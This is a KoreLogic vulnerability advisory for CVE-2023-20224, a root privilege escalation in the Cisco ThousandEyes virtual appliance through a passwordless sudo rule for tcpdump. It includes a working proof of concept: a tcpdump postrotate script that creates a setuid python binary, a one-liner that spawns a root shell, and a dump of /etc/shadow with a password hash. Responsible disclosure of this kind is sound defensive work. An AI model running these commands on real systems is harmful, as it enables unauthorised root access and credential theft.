Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation

`KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump  
  
Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump  
Advisory ID: KL-001-2023-002  
Publication Date: 2023.08.17  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-002.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: ThousandEyes  
Affected Product: ThousandEyes Enterprise Agent Virtual Appliance  
Affected Version: thousandeyes-va-64-18.04 0.218  
Platform: Linux / Ubuntu 18.04  
CWE Classification: CWE-1395: Dependency on Vulnerable  
Third-Party Component  
CVE ID: CVE-2023-20224  
  
  
2. Vulnerability Description  
  
An insecure sudo configuration permits a low-privilege user  
to run arbitrary commands as root via the 'tcpdump' command  
without a password.  
  
  
3. Technical Description  
  
The ThousandEyes Virtual Appliance is distributed with a  
restrictive set of commands that can be executed via sudo,  
without having to provide the password for the 'thousandeyes'  
account. However, the ability to execute tcpdump via sudo is  
permitted without requiring the password. The post-rotate  
functionality of tcpdump can be used to execute arbitrary  
commands on the virtual appliance, allowing a privilege  
escalation to root. This is a known privilege escalation  
path, but had not been disclosed for the ThousandEyes Virtual  
Appliance.  
  
$ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa [email protected]  
Welcome to ThousandEyes!  
Last login: Tue Jan 3 20:16:37 2023 from 1.3.3.8  
thousandeyes@thousandeyes-va:~$ id  
uid=1000(thousandeyes) gid=1000(thousandeyes)   
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)  
thousandeyes@thousandeyes-va:~$ sudo -l  
Matching Defaults entries for thousandeyes on thousandeyes-va:  
env_reset, mail_badpass,   
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User thousandeyes may run the following commands on thousandeyes-va:  
(ALL : ALL) ALL  
(ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va,   
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop  
te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start   
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart  
te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig,   
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,  
/usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa,   
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install  
te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate,   
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*  
(root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump  
  
Here we see that tcpdump is available as root with no password,  
and no restrictions on the arguments it can be passed.  
  
Prepare a malicious script, then have tcpdump execute it as a  
postrotate command. Note, this needs to be more than simply  
a setuid copy of bash as it will drop privs if UID!=EUID, but  
python will not.  
  
thousandeyes@thousandeyes-va:~$ cat /tmp/x4  
COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6'  
TF=$(mktemp)  
echo "$COMMAND" > $TF  
chmod +x $TF  
sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root  
  
thousandeyes@thousandeyes-va:~$ cat /tmp/runme4  
/python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'  
  
thousandeyes@thousandeyes-va:~$ /tmp/x4  
dropped privs to root  
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes  
  
In another ssh session as the 'thousandeyes' user, execute  
'ping -c 1 127.0.0.1' to trigger tcpdump rotation:  
  
Maximum file limit reached: 1  
1 packet captured  
4 packets received by filter  
0 packets dropped by kernel  
  
Execute the setuid python which then launches a shell:  
  
thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4  
# id  
uid=0(root) gid=1000(thousandeyes)   
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)  
  
# bash  
root@thousandeyes-va:~# id  
uid=0(root) gid=1000(thousandeyes)   
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)  
  
root@thousandeyes-va:~# cat /etc/shadow  
root:!:19145:0:99999:7:::  
daemon:!*:18885:0:99999:7:::  
bin:!*:18885:0:99999:7:::  
sys:!*:18885:0:99999:7:::  
sync:!*:18885:0:99999:7:::  
games:!*:18885:0:99999:7:::  
man:!*:18885:0:99999:7:::  
lp:!*:18885:0:99999:7:::  
mail:!*:18885:0:99999:7:::  
news:!*:18885:0:99999:7:::  
uucp:!*:18885:0:99999:7:::  
proxy:!*:18885:0:99999:7:::  
www-data:!*:18885:0:99999:7:::  
backup:!*:18885:0:99999:7:::  
list:!*:18885:0:99999:7:::  
irc:!*:18885:0:99999:7:::  
gnats:!*:18885:0:99999:7:::  
nobody:*:18885:0:99999:7:::  
systemd-network:!*:18885:0:99999:7:::  
systemd-resolve:!*:18885:0:99999:7:::  
syslog:!*:18885:0:99999:7:::  
messagebus:!*:18885:0:99999:7:::  
_apt:!*:18885:0:99999:7:::  
thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30:::  
rdnssd:!*:19146:7:99999:30:::  
browserbot:!:19146::::::  
cntlm:!*:19146:7:99999:30:::  
sshd:!*:19146:7:99999:30:::  
root@thousandeyes-va:~#  
  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has released a version which remediates the described  
vulnerability. Release notes are available at:  
  
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3  
  
  
5. Credit  
  
This vulnerability was discovered by Jim Becher of  
KoreLogic, Inc.  
  
  
6. Disclosure Timeline  
  
2023.04.26 - KoreLogic submits vulnerability details to Cisco.  
2023.04.26 - Cisco acknowledges receipt and the intention to  
investigate.  
2023.05.04 - Cisco notifies KoreLogic that a remediation for this  
vulnerability is expected to be available within  
90 days.  
2023.06.30 - 45 business days have elapsed since KoreLogic reported  
this vulnerability to the vendor.  
2023.07.11 - Cisco informs KoreLogic that the issue has been  
remediated in the latest ThousandEyes Virtual  
Appliance and a public advisory will be released  
2023.08.16.  
2023.07.24 - 60 business days have elapsed since KoreLogic reported  
this vulnerability to the vendor.  
2023.08.09 - Cisco provides KoreLogic with CVE-2023-20224 to  
track this vulnerability.  
2023.08.16 - Cisco public acknowledgement.  
2023.08.17 - KoreLogic public disclosure.  
  
  
7. Proof of Concept  
  
See 3. Technical Description.  
  
  
The contents of this advisory are copyright(c) 2023  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt  
  
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